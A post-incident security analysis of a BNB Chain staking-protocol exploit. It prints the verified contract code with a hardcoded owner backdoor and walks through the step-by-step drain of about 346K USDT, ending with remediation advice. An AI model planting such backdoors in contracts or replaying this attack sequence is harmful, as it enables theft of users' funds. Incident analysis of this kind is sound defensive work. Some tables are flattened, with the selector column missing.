On May 12, 2026 at 10:11:11 UTC, the SQ protocol on BNB Chain was exploited for 346,137.034345 USDT after the attacker abused a hardcoded owner backdoor in the verified `Staking` contract at `0x404404a845fff0201f3a4d419b4839fc419c99f7`. The attacker sent a type- `0x4` transaction with an `authorizationList` entry that delegated their EOA to helper code at `0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d`, letting the entire exploit execute as the attacker EOA while still batching many calls in one transaction. Once inside `Staking`, the attacker used the embedded owner bypass to take ownership, set `stakeDays` to zero, mint 388,100 fake `SQ Token` staking claims to themselves with `stakeOwner()`, redeem ten of those claims immediately through repeated `unstake()` calls for 296,500 USDT, then sweep 2,000,039.407501 SQi from the staking contract and dump it into the SQi/USDT Pancake pair for another 49,637.034345 USDT. The total realized proceeds match the TenArmor alert at approximately $346.1K.
## Root Cause
### Vulnerable Contract
– **Name**: `Staking`
– **Address**: `0x404404a845fff0201f3a4d419b4839fc419c99f7`
– **Chain**: BNB Chain
– **Source type**: Verified source, Solidity `0.8.24`
– **Related token**: `SQi` at `0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9`
– **Drained pair**: PancakeSwap V2 SQi/USDT pair `0x56b681876b7a6df313e34ad4efc74146a75ea51e`
### Vulnerable Functions
– **Owner gate**: `_checkOwner()` in the inherited `Ownable` implementation
– **Admin reconfiguration**: `setUintArray(uint8,uint256[])`
– **Privileged mint path**: `stakeOwner(address,uint160,uint40)`
– **Privileged token sweep**: `withdrawalTokens(address,address,uint256)`
– **Redeem path used for draining**: `unstake(uint256)`
### Vulnerable Code
The core backdoor is in the owner check itself:
“`
function _checkOwner() internal view virtual { if (owner() != _msgSender() && _msgSender() != 0xE746c9043Aa0106853c5e4380A9A307Fe385378e) { revert OwnableUnauthorizedAccount(_msgSender()); } }
“`
That hardcoded exception grants `onlyOwner` access to the attacker EOA regardless of the stored owner.
The attacker then used the newly acquired privileges to disable the staking lock and forge positions:
“`
function setUintArray(uint8 _type, uint256[] calldata _values) external onlyOwner { if (_type == 1) stakeDays = _values; } function stakeOwner(address _user, uint160 _amount, uint40 _time) external onlyOwner { if (!IReferral(conf.referral()).isBindReferral(_user)) revert(“Please bind your superior first”); uint8 _stakeIndex = 0; mint(_user, _amount, _stakeIndex, _time); }
“`
Immediate redemption and the final sweep happened through these paths:
“`
function unstake(uint256 index) external onlyEOA returns (uint256) { if (userStakeRecord[msg.sender].length < index + 2) revert(“Insufficient stake count”); (uint256 reward, uint256 stake_amount) = burn(index); … V2Router.swapTokensForExactTokens(reward, tokenBefore, path, address(this), block.timestamp + 60); … USDT.safeTransfer(msg.sender, _value); IToken(conf.token()).recycle(amount_token); return reward; } function withdrawalTokens(address _token, address _recipient, uint256 _amount) external onlyOwner { if (IERC20(_token).balanceOf(address(this)) < _amount) revert InsufficientBalance(); IERC20(_token).safeTransfer(_recipient, _amount); }
“`
And the token-side `recycle()` hook used by `unstake()` replenishes the staking contract by pulling SQi out of the AMM pair and synchronizing reserves:
“`
function recycle(uint256 amount) external { require(STAKING == msg.sender, “cycle”); uint256 maxBurn = super.balanceOf(_uniswapV2Pair) / 3; uint256 burn_amount = amount >= maxBurn ? maxBurn : amount; super._transfer(_uniswapV2Pair, STAKING, burn_amount); IUniswapV2Pair(_uniswapV2Pair).sync(); }
“`
### Why It Is Vulnerable
This exploit is fundamentally an **access-control failure**:
1. `Staking` embeds the attacker EOA directly in `_checkOwner()`, so `onlyOwner` functions are never actually restricted from that address.
2. The attacker first called `transferOwnership(attacker)` even though the stored owner had already been set to the dead address, proving the backdoor was sufficient to resurrect admin control.
3. The attacker then called `setUintArray(1, [0])`, changing `stakeDays[0]` from `30 days` to `0`, so newly forged positions were immediately redeemable.
4. With `stakeOwner()`, the attacker minted arbitrary synthetic `SQ Token` balances to themselves without depositing any USDT.
5. `unstake()` converts SQi inventory held by the staking contract into USDT via the Pancake router, pays that USDT to `msg.sender`, and then invokes `SQi.recycle()` to pull more SQi from the SQi/USDT pair back into staking. That makes repeated fake redemptions an effective drain on the pair.
6. Finally, `withdrawalTokens()` let the attacker sweep the remaining SQi balance from staking and sell it for a last tranche of USDT.
The EIP-7702 wrapper was an execution detail, not the root cause. It let the attacker batch the exploit as a single self-call while preserving the attacker EOA as `msg.sender`, which also satisfied the contract’s `onlyEOA` checks on `unstake()`.
## Attack Execution
### High-Level Flow
1. The attacker EOA `0xe746c9043aa0106853c5e4380a9a307fe385378e` submitted a type- `0x4` transaction with an authorization entry for `0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d`.
2. The delegated helper called `Staking.transferOwnership(attacker)` and made the attacker the stored owner.
3. The attacker approved SQi to the Pancake router, bound a referral, and called `setUintArray(1, [0])` so `stakeDays[0] = 0`.
4. The attacker forged 12 admin positions for themselves via `stakeOwner()` with the following amounts: 90,000; 90,000; 70,000; 55,000; 42,000; 14,000; 9,000; 7,500; 4,000; 3,000; 2,000; and 100 `SQ Token`.
5. All forged positions used the backdated timestamp `1760134760`( `2025-10-10T22:19:20Z`), although the zero-day lock already made them instantly redeemable.
6. The attacker redeemed indices `1` through `10` via ten `unstake()` calls, receiving a total of 296,500 USDT.
7. After the last unstake, the attacker queried the staking contract’s SQi balance, called `withdrawalTokens(SQi, attacker, 2,000,039.407501425169722546)`, and then sold that entire SQi balance through PancakeSwap for 49,637.034345014454603094 USDT.
8. The attacker finished the transaction with 346,137.034345014454603094 USDT, 0.001 SQi dust, and 90,100 residual synthetic `SQ Token` claims that were not included in the realized USD loss figure.
### Detailed Mechanics
The first ten cash-out operations came directly from `unstake()`:
Unstake callForged position redeemedUSDT received90,00090,00070,00070,00055,00055,00042,00042,00014,00014,0009,0009,0007,5007,5004,0004,0003,0003,0002,0002,000**Subtotal****296,500 USDT**
After those redemptions, the staking contract still held 2,000,039.407501 SQi. The attacker swept that balance with `withdrawalTokens()` and immediately sold it through PancakeSwap, extracting another 49,637.034345 USDT.
The two untouched forged entries were index `0` (90,000 `SQ Token`) and index `11` (100 `SQ Token`), which is why the attacker retained a net synthetic balance of 90,100 `SQ Token` at the end of the transaction.
## Financial Impact
Primary evidence source: `funds_flow.json` plus receipt `Transfer` logs.
### Realized Proceeds
SourceAmountTen direct 296,500 USDTFinal sale of swept SQi49,637.034345014454603094 USDT**Total realized proceeds****346,137.034345014454603094 USDT**
This aligns with the public alert of approximately $346.1K.
### Notable Residual Balances
AssetAmountNotesSynthetic 90,100Unburned internal staking claims left at indices 0 and 11; not counted in realized USD lossSQi0.001Dust left after the final PancakeSwap dump
### Balance-Change Highlights
AddressAssetNet changeAttacker EOA USDT+346,137.034345014454603094Attacker EOA +90,100Staking SQi-2,000,039.407501425169722546Pancake SQi/USDT pair USDT-346,137.034345014454603094Pancake SQi/USDT pair SQi+1,767,814.830896434693266066
## Evidence
– **Transaction**: `0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8`
– **Block**: `97836948`
– **Timestamp**: `2026-05-12T10:11:11Z`
– **Status**: Success
– **Gas used**: `5,390,207`
– **Attacker EOA**: `0xe746c9043aa0106853c5e4380a9a307fe385378e`
– **EIP-7702 delegate target**: `0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d`
– **Vulnerable staking contract**: `0x404404a845fff0201f3a4d419b4839fc419c99f7`
– **Token sold for proceeds**: `SQi` `0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9`
– **Drained AMM pair**: `0x56b681876b7a6df313e34ad4efc74146a75ea51e`
Selector evidence:
SelectorSignatureRole in exploitReinstated stored ownership from dead address to attackerChanged Minted forged admin stake positionsRedeemed forged positions for USDTPulled SQi from the pair back into staking after each unstakeSwept remaining SQi from stakingFinal SQi -> USDT dump through Pancake router
## Remediation
1. Remove the hardcoded address exception from `_checkOwner()` and redeploy or migrate to a clean ownership model.
2. Audit every privileged path reachable from `onlyOwner`, especially `stakeOwner()`, `setUintArray()`, and `withdrawalTokens()`, because any ownership compromise currently becomes a full-funds compromise.
3. Prohibit owner-controlled changes that can make existing stake positions instantly redeemable, or gate those changes behind a timelock and emergency review process.
4. Revisit `SQi.recycle()` so a staking contract cannot pull inventory out of the AMM pair as part of a redemption flow.
5. Add monitoring for type- `0x4`/ EIP-7702 transactions that target privileged protocol entrypoints, since those wrappers can preserve EOA semantics while batching exploit logic.
## Artifacts
– `analysis_plan.json`: planner output and contract list
– `trace_callTracer.json`: full call trace
– `tx.json` and `receipt.json`: transaction metadata and logs
– `funds_flow.json`: decoded transfer flows and net balances
– `decoded_calls.json` and `selectors.json`: decoded call tree and selector map
– `0x404404a845fff0201f3a4d419b4839fc419c99f7/0x404404a845fff0201f3a4d419b4839fc419c99f7.sol`: verified staking source
– `0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9/SQ/SQi.sol`: verified SQi source
